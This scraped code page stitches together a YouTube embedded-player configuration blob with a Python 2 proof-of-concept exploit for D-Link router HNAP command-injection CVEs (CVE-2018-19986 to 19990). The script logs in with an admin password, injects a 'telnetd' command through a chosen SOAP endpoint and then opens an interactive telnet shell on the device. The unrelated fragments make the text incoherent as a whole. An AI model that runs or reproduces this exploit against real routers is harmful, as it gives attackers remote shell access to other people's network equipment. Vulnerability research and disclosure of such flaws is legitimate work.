{"WEB_PLAYER_CONTEXT_CONFIG_ID_EMBEDDED_PLAYER":{"rootElementId":"movie_player","jsUrl":"/s/player/5dd3f3b2/player_ias.vflset/zh_CN/base.js","cssUrl":"/s/player/5dd3f3b2/www-player-webp.css","contextId":"WEB_PLAYER_CONTEXT_CONFIG_ID_EMBEDDED_PLAYER","eventLabel":"embedded","contentRegion":"JP","hl":"zh_CN","hostLanguage":"zh-CN","innertubeApiKey":"AIzaSyAO_FJ2SlqU8Q4STEHLGCilw_Y9_11qcW8","innertubeApiVersion":"v1","innertubeContextClientVersion":"20201218","device":{"browser":"Chrome","browserVersion":"87.0.4280.88","os":"Windows","osVersion":"10.0","interfaceName":"WEB_EMBEDDED_PLAYER","interfaceVersion":"20201218"},"serializedExperimentIds":"23744176,23748146,23804281,23839597,23856950,23857949,23882685,23884386,23891344,23895671,23911055,23915992,23918597,23932523,23934970,23940247,23940704,23942633,23944779,23946269,23946420,23948841,23951620,23961732,23965963,23968386,23969486,23969934,23970974,23972240,23972293,23973158,23973492,23973496,23973808,23974595,23975726,23976578,23979760,23981908,3300113,3300131,3300164,3313321,3318009,3318700,3318773,3319220,3319460,3320540,3329163,3329601,3329620,9449243","serializedExperimentFlags":"log_js_exceptions_fraction=1.0\u0026html5_unrewrite_timestamps=true\u0026html5_subsegment_readahead_min_load_speed=1.5\u0026web_log_app_install_experiments=true\u0026html5_vp9_new_mime=true\u0026skip_ad_button_with_thumbnail=true\u0026enable_midroll_prefetch_for_html5=true\u0026suppress_gen_204=true\u0026html5_qoe_user_intent_match_health=true\u0026kevlar_miniplayer_expand_top=true\u0026html5_check_segnum_discontinuity=true\u0026kevlar_miniplayer=true\u0026html5_remove_not_servable_check_killswitch=true\u0026fast_autonav_in_background=true\u0026html5_crypto_period_secs_from_emsg=true\u0026self_podding_highlight_non_default_button=true\u0026deprecate_pair_servlet_enabled=true\u0026self_podding_pod_choice_string_template=self_podding_pod_choice\u0026web_player_include_innertube_commands=true\u0026enable_preoll_prefetch=true\u0026html5_probe_primary_delay_base_ms=0\u0026html5_expanded_max_vss_pings=true\u0026html5_urgent_adaptation_fix=true\u0026kevlar_miniplayer_play_pause_on_scrim=true\u0026html5_manifestless_media_source_duration=25200\u0026player_bootstrap_method=true\u0026html5_use_current_media_time_for_glrem_gllat=true\u0026enable_client_deferred_full_screen_filtering_for_mweb_phones=true\u0026html5_manifestless_vp9_otf=true\u0026html5_background_cap_idle_secs=60\u0026web_wn_macro_markers=true\u0026html5_disable_preserve_reference=true\u0026polymer_bad_build_labels=true\u0026html5_prefer_server_bwe3=true\u0026html5_seek_timeout_delay_ms=20000\u0026html5_av1_tv_killswitch=true\u0026html5_av1_thresh=1080\u0026html5_stop_video_in_cancel_playback=true\u0026fix_ads_tracking_for_swf_config_deprecation_mweb=true\u0026html5_ignore_bad_bitrates=true\u0026html5_enable_ac3=true\u0026self_podding_header_string_template=self_podding_interstitial_message\u0026allow_live_autoplay=true\u0026html5_peak_shave=true\u0026mweb_enable_skippables_on_jio_phone=true\u0026music_enable_shared_audio_tier_logic=true\u0026html5_readahead_ratelimit=3000\u0026html5_av1_thresh_hcc=1080\u0026web_player_watch_next_response=true\u0026html5_player_min_build_cl=-1\u0026mweb_enable_custom_control_shared=true\u0026html5_random_playback_cap=0\u0026html5_dynamic_av1_hybrid_threshold=true\u0026cb_v2_uxe=\u0026kevlar_frontend_video_list_actions=true\u0026html5_probe_media_capabilities=true\u0026kevlar_queue_use_update_api=true\u0026html5_jumbo_mobile_subsegment_readahead_target=3.0\u0026custom_csi_timeline_use_gel=true\u0026html5_av1_thresh_lcc=480\u0026html5_player_autonav_logging=true\u0026web_player_gvi_wexit_mweb=true\u0026html5_no_placeholder_rollbacks=true\u0026player_web_canary_stage=0\u0026html5_drm_set_server_cert=true\u0026html5_live_quality_cap=0\u0026html5_autonav_cap_idle_secs=0\u0026html5_live_normal_latency_bandwidth_window=0.0\u0026html5_autonav_quality_cap=0\u0026html5_gapless_no_requests_after_lock=true\u0026html5_workaround_delay_trigger=true\u0026html5_not_vp9_supported_quality_cap=0\u0026disable_thumbnail_preloading=true\u0026web_player_ipp_canary_type_for_logging=\u0026web_player_show_music_in_this_video_graphic=video_thumbnail\u0026html5_enable_per_format_loudness=true\u0026html5_gapless_max_played_ranges=12\u0026html5_probe_secondary_during_timeout_miss_count=2\u0026html5_gl_fps_threshold=0\u0026html5_long_rebuffer_jiggle_cmt_delay_ms=0\u0026web_log_connection=true\u0026html5_quality_cap_min_age_secs=0\u0026unplugged_tvhtml5_botguard_attestation=true\u0026web_player_innertube_share_panel=true\u0026web_player_response_fairplay_config_killswitch=true\u0026web_foreground_heartbeat_interval_ms=28000\u0026html5_new_element_on_invalid_state=true\u0026html5_manifestless_max_segment_history=300\u0026html5_static_abr_resolution_shelf=0\u0026web_op_endpoint_banlist=()\u0026html5_allow_video_keyframe_without_audio=true\u0026enable_svg_mode_on_embed_mobile=true\u0026networkless_retry_attempts=1\u0026autoplay_time=10000\u0026html5_min_readbehind_cap_secs=60\u0026html5_aspect_from_adaptive_format=true\u0026html5_bandwidth_window_size=0\u0026playready_first_play_expiration=-1\u0026enable_ad_pod_specific_ui=true\u0026html5_sticky_reduces_discount_by=0.0\u0026enable_kevlar_action_companion_cleanup=true\u0026enable_ve_tracker_key=true\u0026html5_seek_set_cmt_delay_ms=2000\u0026html5_av1_thresh_arm=240\u0026variable_buffer_timeout_ms=0\u0026gal_client_migration_web=true\u0026enable_ypc_clickwrap_on_living_room=true\u0026botguard_eval_with_script_tag=true\u0026html5_jumbo_ull_subsegment_readahead_target=1.3\u0026html5_allowable_liveness_drift_chunks=2\u0026html5_new_elem_on_hidden=true\u0026html5_health_to_gel=true\u0026web_player_bigger_buttons=true\u0026web_network_combined_catch=true\u0026html5_jumbo_ull_nonstreaming_mffa_ms=4000\u0026html5_hls_initial_bitrate=0\u0026html5_subsegment_readahead_timeout_secs=2.0\u0026html5_source_buffer_attach_delay_time=15000\u0026debug_sherlog_username=\u0026html5_min_has_advanced_secs_float=0.0\u0026log_window_onerror_fraction=0.1\u0026enable_client_page_id_header_for_first_party_pings=true\u0026web_player_gvi_wexit_web=true\u0026max_resolution_for_white_noise=360\u0026html5_ios4_seek_above_zero=true\u0026mdx_enable_privacy_disclosure_ui=true\u0026html5_license_constraint_delay=5000\u0026html5_process_all_encrypted_events=true\u0026drop_overlay_ads_on_cba_violation=true\u0026unplugged_tvhtml5_video_preload_on_focus_delay_ms=0\u0026html5_delay_initial_loading=true\u0026gvi_channel_client_screen=true\u0026html5_query_sw_secure_crypto_for_android=true\u0026web_client_counter_random_seed=true\u0026html5_post_interrupt_readahead=20\u0026networkless_throttle_timeout=100\u0026html5_platform_minimum_readahead_seconds=0.0\u0026html5_set_ended_in_pfx_live=true\u0026kabuki_pangea_prefer_audio_only_for_atv_and_uploads=true\u0026html5_heartbeat_set_ended=true\u0026release_player_on_abandon_for_bulleit_lr_ads_frontend=true\u0026html5_deadzone_multiplier=1.0\u0026html5_maximum_readahead_seconds=0.0\u0026html5_subsegment_readahead_target_buffer_health_secs=0.5\u0026web_player_response_playback_tracking_parsing=true\u0026web_player_response_overlay_parsing=false\u0026web_screen_associated_all_layers=true\u0026html5_minimum_readahead_seconds=0.0\u0026web_player_live_monitor_env_killswitch2=true\u0026autoplay_time_for_music_content=-1\u0026enable_live_premiere_web_player_indicator=true\u0026networkless_request_age_limit=30\u0026html5_min_has_advanced_secs=0\u0026html5_decoder_freeze_timeout_delay_ms=0\u0026html5_in_buffer_ptl_timeout_ms=0\u0026hoffle_cache_size_secs=0\u0026html5_log_playback_rate_change_killswitch=true\u0026disable_simple_mixed_direction_formatted_strings=true\u0026html5_desktop_vr180_allow_panning=true\u0026tvhtml5_unplugged_preload_cache_size=5\u0026dash_manifest_version=5\u0026html5_log_experiment_id_from_player_response_to_ctmp=\u0026html5_ads_preroll_lock_timeout_delay_ms=0\u0026live_fresca_scheduled_persistent=true\u0026web_player_create_screens=true\u0026enable_cookie_reissue_iframe=true\u0026html5_gapless_error_check_killswitch=true\u0026html5_gapless_seek_tolerance_secs=3.0\u0026html5_gapless_ended_transition_buffer_ms=200\u0026html5_rewrite_manifestless_for_continuity=true\u0026delay_ads_gvi_call_on_bulleit_living_room_ms=0\u0026html5_max_live_dvr_window_plus_margin_secs=46800.0\u0026web_yt_config_context=true\u0026mweb_native_control_in_faux_fullscreen_shared=true\u0026live_fresca_v2=true\u0026web_playback_associated_log_ctt=true\u0026network_polling_interval=30000\u0026embeds_enable_age_gating_playability_check=true\u0026html5_pacf_enable_dai=true\u0026suppress_sparkles_for_whitelisted_instream_on_desktop=true\u0026enable_mixed_direction_formatted_strings=true\u0026networkless_ytidb_version=1\u0026html5_fludd_suspend=true\u0026web_op_signal_type_banlist=()\u0026error_message_for_gsuite_network_restrictions=true\u0026enable_eviction_protection_for_bulleit=true\u0026suppress_error_204_logging=true\u0026html5_request_size_padding_secs=3.0\u0026use_typescript_transport=true\u0026web_player_innertube_playlist_update=true\u0026html5_buffer_health_to_defer_slice_processing=3.0\u0026web_gel_debounce_ms=10000\u0026html5_ios7_force_play_on_stall=true\u0026html5_hls_min_video_height=0\u0026web_player_sentinel_is_uniplayer=true\u0026desktop_player_button_tooltip_with_shortcut=true\u0026kevlar_allow_multistep_video_init=true\u0026manifestless_post_live=true\u0026external_fullscreen_with_edu=true\u0026ad_pod_disable_companion_persist_ads_quality=true\u0026enable_device_forwarding_from_polymer_network_manager=true\u0026html5_max_drift_per_track_secs=0.0\u0026embeds_enable_embed_module=true\u0026html5_ad_timeout_ms=0\u0026web_player_live_monitor_env_killswitch=true\u0026html5_subsegment_readahead_min_buffer_health_secs=0.25\u0026manifestless_post_live_ufph=true\u0026web_player_api_logging_fraction=0.01\u0026html5_safari_desktop_eme_min_version=0\u0026html5_disable_move_pssh_to_moov=true\u0026use_video_ad_break_offset_ms_int64=true\u0026is_mweb_wexit_main_launch=true\u0026html5_max_readahead_bandwidth_cap=0\u0026html5_log_rebuffer_events=5\u0026web_api_url=true\u0026html5_autoplay_default_quality_cap=0\u0026self_podding_midroll_choice_string_template=self_podding_midroll_choice\u0026web_player_live_monitor_env=true\u0026html5_seek_jiggle_cmt_delay_ms=8000\u0026use_player_params_for_passing_desktop_conversion_urls=true\u0026html5_request_sizing_multiplier=0.8\u0026web_player_ss_timeout_skip_ads=true\u0026html5_live_abr_repredict_fraction=0.0\u0026html5_qoe_intercept=\u0026html5_source_buffer_attach_retry_limit=0\u0026desktop_sparkles_light_cta_button=true\u0026botguard_async_snapshot_timeout_ms=3000\u0026html5_player_dynamic_bottom_gradient=true\u0026web_player_inline_botguard=true\u0026ignore_empty_xhr=true\u0026html5_platform_whitelisted_for_frame_accurate_seeks=true\u0026html5_performance_cap_floor=360\u0026web_player_music_visualizer_treatment=fake\u0026html5_unreported_seek_reseek_delay_ms=0\u0026web_player_watch_next_response_parsing=true\u0026player_allow_autonav_after_playlist=true\u0026html5_background_quality_cap=360\u0026web_player_icons=true\u0026web_player_touch_mode_improvements=true\u0026player_endscreen_ellipsis_fix=true\u0026kevlar_playback_associated_queue=true\u0026html5_experiment_id_label=0\u0026web_op_continuation_type_banlist=()\u0026web_player_ios_mweb_resizing=true\u0026html5_unify_sqless_flow=true\u0026web_client_version_override=\u0026use_inlined_player_rpc=true\u0026html5_gapless_ad_byterate_multiplier=1.6\u0026www_for_videostats=true\u0026html5_disable_subscribe_new_vis=true\u0026html5_defer_slicing=true\u0026web_player_vss_pageid_header=true\u0026live_chunk_readahead=3\u0026html5_suspend_loader=true\u0026html5_non_network_rebuffer_duration_ms=0\u0026web_post_search=true\u0026kevlar_gel_error_routing=true\u0026player_enable_playback_playlist_change=true\u0026use_ivar_to_extract_ad_video_id=true\u0026html5_hfr_quality_cap=0\u0026hoffle_max_video_duration_secs=0\u0026html5_restrict_streaming_xhr_on_sqless_requests=true\u0026html5_remove_pause=false\u0026self_podding_highlighted_button_blue=true\u0026web_player_innertube_subscription_update=true\u0026enable_zylon_wta_mta=true\u0026nwl_latency_sampling_rate=0.01\u0026kevlar_autonav_miniplayer_fix=true\u0026delay_gel_until_config_ready=true\u0026html5_min_upgrade_health=0\u0026html5_hack_gapless_init=true\u0026web_player_ss_media_time_offset=true\u0026player_destroy_old_version=true\u0026hfr_dropped_framerate_fallback_threshold=0\u0026html5_error_cooldown_in_ms=30000\u0026html5_df_downgrade_thresh=0.2\u0026html5_manifestless_vp9=true\u0026enable_device_forwarding_from_xhr_client=true\u0026html5_log_timestamp_offset=true\u0026html5_video_tbd_min_kb=0\u0026html5_subsegment_readahead_seek_latency_fudge=0.5\u0026html5_min_readbehind_secs=0\u0026tvhtml5_disable_live_prefetch=true\u0026align_ad_to_video_player_lifecycle_for_bulleit=true\u0026html5_manifestless_seg_drift_limit_secs=0\u0026html5_enable_eac3=true\u0026html5_store_xhr_headers_readable=true\u0026use_remote_context_in_populate_remote_client_info=true\u0026polymer_verifiy_app_state=true\u0026variable_load_timeout_ms=0\u0026html5_pause_on_nonforeground_platform_errors=true\u0026html5_gapless_preloading=true\u0026html5_max_headm_for_streaming_xhr=0\u0026bulleit_get_midroll_info_timeout_ms=8000\u0026html5_max_readbehind_secs=0\u0026html5_reload_element_long_rebuffer_delay_ms=20000\u0026html5_enable_embedded_player_visibility_signals=true\u0026html5_release_on_error=true\u0026web_player_ss_dai_ad_fetching_timeout_ms=7000\u0026html5_probe_live_using_range=true\u0026html5_live_abr_head_miss_fraction=0.0\u0026html5_subsegment_readahead_load_speed_check_interval=0.5\u0026desktop_action_companion_wta_support=true\u0026html5_ios_force_seek_to_zero_on_stop=true\u0026web_macro_markers_snapping_threshold=4\u0026html5_disable_aac_ac3=true\u0026mweb_muted_autoplay_animation=shrink\u0026html5_default_quality_cap=0\u0026html5_ignore_start_seconds_for_ads_killswitch=true\u0026html5_disable_non_contiguous=true\u0026kevlar_queue_use_dedicated_list_type=true\u0026ensure_only_one_resolved_midroll_response_on_web=true\u0026html5_vp9_mime_full_range_flag=true\u0026disable_sharing_services_servlet=true\u0026ytidb_transaction_ended_event_rate_limit=0.02\u0026html5_seek_over_discontinuities=true\u0026html5_disable_reset_on_append_error=true\u0026embeds_wexit_list_ajax_migration=true\u0026html5_encourage_array_coalescing=true\u0026html5_skip_slow_ad_delay_ms=5000\u0026render_enhanced_overlays_as_ctas_for_desktop_style=unset\u0026web_player_no_endscreen_crop=true\u0026html5_sync_seeking_state=true\u0026html5_long_rebuffer_threshold_ms=30000\u0026web_gel_timeout_cap=true\u0026preskip_button_style_ads_backend=\u0026overwrite_polyfill_on_logging_lib_loaded=true\u0026log_js_error_clusters=1.0\u0026html5_log_live_discontinuity=true\u0026web_logging_max_batch=100\u0026player_ads_set_adformat_on_client=true\u0026networkless_logging=true\u0026is_kevlar_wexit_main_launch=true\u0026html5_license_server_error_retry_limit=3\u0026html5_report_slow_ads_as_error=true\u0026html5_perf_cap_override_sticky=true\u0026html5_disable_extra_update_resource=true\u0026allow_poltergust_autoplay=true\u0026html5_live_low_latency_bandwidth_window=0.0\u0026autoplay_time_for_music_content_after_autoplayed_video=-1\u0026html5_decode_to_texture_cap=true\u0026html5_seek_new_elem_delay_ms=12000\u0026html5_subsegment_readahead_min_buffer_health_secs_on_timeout=0.1\u0026html5_restore_perf_cap=false\u0026html5_hdcp_probing_stream_url=\u0026html5_media_fullscreen=true\u0026html5_time_based_consolidation_ms=10\u0026disable_new_pause_state3=true\u0026html5_inline_video_quality_survey=true\u0026debug_dapper_trace_id=\u0026html5_live_ultra_low_latency_bandwidth_window=0.0\u0026html5_default_ad_gain=0.5\u0026mweb_cougar_big_controls=true","startMuted":false,"enableMutedAutoplay":false,"mobileIphoneSupportsInlinePlayback":false,"isMobileDevice":false,"canaryState":"none","loaderUrl":"https://c0mix.github.io/","disableAutonav":false,"authorizedUserIndex":"0","isEmbed":true,"embedOptOutDeprecation":false,"pfpChazalUi":false,"disableCastApi":false,"datasyncId":"116949319457511450265||"}}});writeEmbed();</script> <script>
ytcsi.info('st', 80);ytcfg.set({"CSI_SERVICE_NAME":"","TIMING_INFO":{"yt_lt":"cold","yt_li":1,"cver":"20201218","c":"WEB_EMBEDDED_PLAYER"}});;ytcfg.set({"TIMING_ACTION":"","CSI_VIEWPORT":true});;
</script>
<noscript><div class="player-unavailable"><h1 class="message">出现错误。</h1><div class="submessage"><a href="https://www.youtube.com/watch?v=uu6rZuEOzh0" target="_blank">请尝试在 www.youtube.com 上观看此视频</a>,或者在浏览器中启用 JavaScript(如果已停用)。</div></div></noscript></body></html>
\ No newline at end of file
import requests
import telnetlib
from hashlib import md5
import time
import math
trans_5C = "".join(chr(x ^ 0x5c) for x in xrange(256))
trans_36 = "".join(chr(x ^ 0x36) for x in xrange(256))
blocksize = md5().block_size
def hmac_md5(key, msg):
if len(key) > blocksize:
key = md5(key).digest()
key += chr(0) * (blocksize - len(key))
o_key_pad = key.translate(trans_5C)
i_key_pad = key.translate(trans_36)
return md5(o_key_pad + md5(i_key_pad + msg).digest())
def HNAP_AUTH(SOAPAction, privateKey):
b = math.floor(int(time.time())) % 2000000000
b = str(b)[:-2]
h = hmac_md5(privateKey, b + '"http://purenetworks.com/HNAP1/' + SOAPAction + '"').hexdigest().upper()
return h + " " + b
poc_list = [['1', 'CVE-2018-19986', '/HNAP1/SetRouterSettings'],
['2', 'CVE-2018-19987', '/HNAP1/SetAccessPointMode'],
['3', 'CVE-2018-19988_1', '/HNAP1/SetClientInfoDemo'],
['4', 'CVE-2018-19988_2', '/HNAP1/SetClientInfoDemo'],
['5', 'CVE-2018-19989', '/HNAP1/SetQoSSettings'],
['6', 'CVE-2018-19990', '/HNAP1/SetWiFiVerifyAlpha']]
for i in poc_list:
print(i)
n = int(raw_input("select payload>>"))
poc = poc_list[n-1]
IP = raw_input("IP>>")
adminPw = raw_input("pw>>")
command = "telnetd" # command injection id
headers = requests.utils.default_headers()
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36"
headers["SOAPAction"] = '"http://purenetworks.com/HNAP1/Login"'
headers["Origin"] = "http://" + IP
headers["Referer"] = "http://" + IP + "/info/Login.html"
headers["Content-Type"] = "text/xml; charset=UTF-8"
headers["X-Requested-With"] = "XMLHttpRequest"
payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login xmlns="http://purenetworks.com/HNAP1/"><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>'
r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload)
data = r.text
challenge = str(data[data.find("<Challenge>") + 11: data.find("</Challenge>")])
cookie = data[data.find("<Cookie>") + 8: data.find("</Cookie>")]
publicKey = str(data[data.find("<PublicKey>") + 11: data.find("</PublicKey>")])
privateKey = hmac_md5(publicKey + adminPw, challenge).hexdigest().upper()
password = hmac_md5(privateKey, challenge).hexdigest().upper()
headers["HNAP_AUTH"] = HNAP_AUTH("Login", privateKey)
headers["Cookie"] = "uid=" + cookie
payload = '<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login xmlns="http://purenetworks.com/HNAP1/"><Action>login</Action><Username>Admin</Username><LoginPassword>'+password+'</LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>'
r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload)
headers["Origin"] = "http://" + IP
headers["HNAP_AUTH"] = HNAP_AUTH(poc[2].split('/')[-1], privateKey)
headers["SOAPACTION"] = '"http://purenetworks.com{}"'.format(poc[2])
headers["Accept"] = "text/xml"
payload = open('{}.xml'.format(poc[1])).read().replace('ip', IP).replace('COMMAND', command)
print '[*] command injection'
r = requests.post('http://'+IP+'/HNAP1/', headers=headers, data=payload)
print(r.text)
print '[*] waiting 30 sec...'
time.sleep(30)
print '[*] enjoy your shell'
telnetlib.Telnet(IP).interact()
https://github.com/pr0v3rbs/CVE
DSL:
https://xz.aliyun.com/t/6607
\ No newline at end of file
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment